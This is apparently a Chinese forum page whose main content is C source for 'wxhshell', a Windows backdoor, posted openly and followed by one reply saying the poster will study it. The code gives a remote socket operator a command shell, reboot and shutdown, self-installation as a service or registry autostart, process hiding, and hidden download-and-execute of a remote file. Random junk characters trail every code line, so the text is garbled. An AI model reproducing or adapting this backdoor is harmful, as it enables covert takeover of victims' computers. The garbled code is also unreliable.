  if(DownloadFile(cmd,wsh)) a{Y:hrd:Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o*97Nbjn  
  else h *)spwF-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mo &Ia6^  
  } qRsPi0;  
  else { ^ef:cS$;  
&q1(v3cOO  
    switch(cmd[0]) { KL*ZPKG  
  N^q*lV#kob  
  // 帮助 /MTS>[E  
  case '?': { U6FM`w<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l3n* b6  
    break; l0Jpf9Aue  
  } l W'6rat  
  // 安装 k='sI^lF  
  case 'i': { {.SN  
    if(Install()) e%x$Cb:znn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }txHuq1Q.  
    else K"eR 6_ k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gj\r>~S  
    break; ;3Fgy8 T  
    } eB/3MUz1  
  // 卸载 VJD$nh #M5  
  case 'r': { N::_JH? ^=  
    if(Uninstall()) `y0ZFh1>X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 00?^!';  
    else *gHOH!K,S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &PD4+%!  
    break; IvetQ+  
    } X55Eemg/  
  // 显示 wxhshell 所在路径 `j[)iok  
  case 'p': { v"O{5LM"  
    char svExeFile[MAX_PATH]; _]1dm)%  
    strcpy(svExeFile,"\n\r"); 8^p/?R^bu  
      strcat(svExeFile,ExeFile); ^SxB b,\  
        send(wsh,svExeFile,strlen(svExeFile),0); eznw05U  
    break; nk1(/~`  
    } 9%oLv25{)  
  // 重启 xBG&ZM4"^f  
  case 'b': { r$;DA<<|<c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .qy._C2(  
    if(Boot(REBOOT)) w|>:mQnU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?A(=%c|,g  
    else { )H S|pS:  
    closesocket(wsh); W2tIt&{  
    ExitThread(0); `>rdn*B  
    } RoM'+1nP:#  
    break; u%5B_<90V  
    } T#J]%IDd  
  // 关机 "KOLRJ@  
  case 'd': { R[wy{4<y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EU ThH.  
    if(Boot(SHUTDOWN)) tNbCO+rZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#3#}R.$Fl  
    else { s ZkQJ->  
    closesocket(wsh); Cv{rd##Y8  
    ExitThread(0); RK/SeS  
    } ma~WJ0LM\  
    break; =/.[&DG  
    } LH]nJdq?)  
  // 获取shell g-oHu8   
  case 's': { " FcA:7+  
    CmdShell(wsh); *ky5SM(NR  
    closesocket(wsh); qOZe\<.V<  
    ExitThread(0); '68{dyFZL  
    break; %whPTc0P  
  } 5 LhFD  
  // 退出 hc>hNC:a  
  case 'x': { ^ft_1d[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V.'EP  
    CloseIt(wsh); =4 &9!Z  
    break; $"J+3mO  
    } /4w&! $M-  
  // 离开 {qx}f^WV  
  case 'q': { +q) ^pCC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (BMFGyE3  
    closesocket(wsh); 3?Bq((  
    WSACleanup(); vwZ2kk!|i  
    exit(1); qB3 SQ:y  
    break; [>;U1Wt  
        } L\nWhmwl  
  } tLS5yT/  
  } L2P~moVIi  
ED[PP2[/  
  // 提示信息 Sq-mH=rs]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s=~r. x  
} r@"Vbq%  
  }  s4;SA  
q3T'rw%Eh  
  return; l *yml  
} 1`5d~>fV  
qW][Q%'lt  
// shell模块句柄 Th`IpxV  
int CmdShell(SOCKET sock) _4owxYSDke  
{ ~7 C` a$  
STARTUPINFO si; fph*|T&R  
ZeroMemory(&si,sizeof(si)); epW;]> l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !(w\%$|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7tUl$H;I/R  
PROCESS_INFORMATION ProcessInfo; 8D)*~C'85E  
char cmdline[]="cmd"; -HP [IJP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \2: JX?Jw!  
  return 0; 53=s'DZ  
} x76<u:  
'2/48j X5  
// 自身启动模式 }7X85@jC  
int StartFromService(void) 5=., a5  
{ wB?;3lTS  
typedef struct 7od!:<v/  
{ {#zJx(2yG  
  DWORD ExitStatus; <{3VK  
  DWORD PebBaseAddress; :I+%v  
  DWORD AffinityMask; fHb0pp\[.  
  DWORD BasePriority; 3vHEPm]  
  ULONG UniqueProcessId; O>Xyl4U  
  ULONG InheritedFromUniqueProcessId; $a(wM1S4  
}   PROCESS_BASIC_INFORMATION; `+\ +  
+<"sC+2  
PROCNTQSIP NtQueryInformationProcess; 9-Qu b+0o  
IpB0~`7YI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |mc!v*O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y2yVl+  
ts{Tk5+  
  HANDLE             hProcess; o\g",O4-  
  PROCESS_BASIC_INFORMATION pbi; Sl   
Pp@P]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \H*"UgS  
  if(NULL == hInst ) return 0; y%cg  
z./u;/:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Ji&.T^U/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ] GJIrtS4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 71@V|$Dy  
+smPR  
  if (!NtQueryInformationProcess) return 0; +K; X$kB  
teg LGp@_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RnIL>Akp  
  if(!hProcess) return 0; n>+M4Zb  
*t 3fbD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2J|Wbey  
_Sosw|A  
  CloseHandle(hProcess); P,j)m\|  
=sG  C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B7fURL Rqr  
if(hProcess==NULL) return 0; Z<0M_q9?MO  
'eLO#1Ipf  
HMODULE hMod; hof:36 <  
char procName[255]; <FRYt-+  
unsigned long cbNeeded; bfQ+}|;  
WDP$w( M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rMH\;\ I|U  
GW]Ygf1t  
  CloseHandle(hProcess); K`M8[ %S  
@@# ^G8+l  
if(strstr(procName,"services")) return 1; // 以服务启动 =BMON{K  
]pzf{8%  
  return 0; // 注册表启动 f]qP xRw  
} Zyu4!  
Eii)zo8Xd  
// 主模块 KWLI7fTgj$  
int StartWxhshell(LPSTR lpCmdLine) 7Fh%jRHZ`  
{ T5=3 jPQ  
  SOCKET wsl; 2LiJ IO8N  
BOOL val=TRUE; NJI-8qTGI  
  int port=0; lOCMKaCD  
  struct sockaddr_in door; 'hf#Q9W5  
<KoiZ{V   
  if(wscfg.ws_autoins) Install(); =d!3_IZ  
-L NJ*?b  
port=atoi(lpCmdLine); ?.LS _e_0  
V) a<)  
if(port<=0) port=wscfg.ws_port; :tl* >d~  
P bj&l0C  
  WSADATA data; D2#3fM6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YiTiJ9jf  
\3"4;fM!i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }:])1!a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T[`o$j6  
  door.sin_family = AF_INET; Q;*TnVbJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S4n\<+dR<  
  door.sin_port = htons(port); `%ZM(9T  
{dH87 nt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u<!8dQ8  
closesocket(wsl); 4[44Eku\  
return 1; etMQy6E\  
} t3}>5cAxy  
bE74Ui  
  if(listen(wsl,2) == INVALID_SOCKET) { 8doKB<#_+=  
closesocket(wsl); 08n2TL;EsX  
return 1; ~Y7>P$G)  
} ^":UkPFCx:  
  Wxhshell(wsl); }R=n!Y$F  
  WSACleanup(); c$Z3P%aP'V  
b(Zh$86  
return 0; `aD~\O  
mXtsP1  
} l ~b# Y&  
?NOc]'<(G  
// 以NT服务方式启动 \}P3mS"e3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z\Hg@J&#  
{ 3yX^93  
DWORD   status = 0; tg_xk+x  
  DWORD   specificError = 0xfffffff; i882r=TE3  
<~@}r\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J$F 1sy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; { 0RwjPYp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CBN,~wzP*  
  serviceStatus.dwWin32ExitCode     = 0; ,bzE`6  
  serviceStatus.dwServiceSpecificExitCode = 0; <j,ZAA&5%Y  
  serviceStatus.dwCheckPoint       = 0; pX8TzmIB0  
  serviceStatus.dwWaitHint       = 0; H*51GxK  
HL]8E}e\"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t6DgWKT6  
  if (hServiceStatusHandle==0) return; j #G4A%_  
hfE5[  
status = GetLastError(); RL4J{4K  
  if (status!=NO_ERROR) OyH>N/  
{ io%WV%1_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i/E"E7  
    serviceStatus.dwCheckPoint       = 0; R&KFF'%  
    serviceStatus.dwWaitHint       = 0; &OQ37(<_  
    serviceStatus.dwWin32ExitCode     = status; _JNSl2  
    serviceStatus.dwServiceSpecificExitCode = specificError; s;e%*4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w%~UuJ#i  
    return; `k2YH?  
  } f8E,.$>  
"A\h+q-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @( p9}  
  serviceStatus.dwCheckPoint       = 0; 5,  "  
  serviceStatus.dwWaitHint       = 0; 6l]jm j)/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +-~8t^  
} 1[p6v4qO{  
pse$S=  
// 处理NT服务事件,比如:启动、停止 0Lb:N]5m8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o|(Ivt7jk  
{ xl2;DFiYt  
switch(fdwControl) %])U(  
{ w_qX~d/  
case SERVICE_CONTROL_STOP: cQ}3? v  
  serviceStatus.dwWin32ExitCode = 0; xKl\:}Ytp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AK$&'t+$}7  
  serviceStatus.dwCheckPoint   = 0; *ThP->&:(  
  serviceStatus.dwWaitHint     = 0; 41G}d+  
  { @=r YOQj |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NW_i<#  
  } 0RFBun{  
  return; ;$,b w5  
case SERVICE_CONTROL_PAUSE: n=Ze p{^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JOwm|%>3a  
  break; lldNIL6B%  
case SERVICE_CONTROL_CONTINUE: M5 \flE2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C- 5QhD  
  break; !=Scpo_  
case SERVICE_CONTROL_INTERROGATE: 2(I S*idq  
  break; wtM1gYl^  
}; 3qf?n5 "8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CCDU5l$$  
} #mKF)W  
sbv2*fno5  
// 标准应用程序主函数 59Lc-JJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p{|!LcSU$2  
{ W_.WMbT  
%9vl  
// 获取操作系统版本 DwmK?5p  
OsIsNt=GetOsVer(); >PuQ{T I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hZ_@U?^  
q"(b}3  
  // 从命令行安装  )OHGg  
  if(strpbrk(lpCmdLine,"iI")) Install(); #{_iNra9  
:'`y}'  
  // 下载执行文件 iq^F?$gFk  
if(wscfg.ws_downexe) { }TQa<;Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |P0!dt7sQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0\zY?UUww  
} )DB\du   
"w&IO}j;=  
if(!OsIsNt) { wxJu=#!M  
// 如果时win9x,隐藏进程并且设置为注册表启动 OEw#;l4 C  
HideProc(); {ty)2  
StartWxhshell(lpCmdLine); .jUM'; l  
} rjK]zD9  
else w)N~u%  
  if(StartFromService()) 9U>OeTh(  
  // 以服务方式启动 )Cu2xRr^`  
  StartServiceCtrlDispatcher(DispatchTable); y%Rq6P=4Q  
else Ie4\d2tQ;  
  // 普通方式启动 wKU9I[]  
  StartWxhshell(lpCmdLine); igx~6G*  
fn#qcZv?  
return 0; mUj_V#v  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八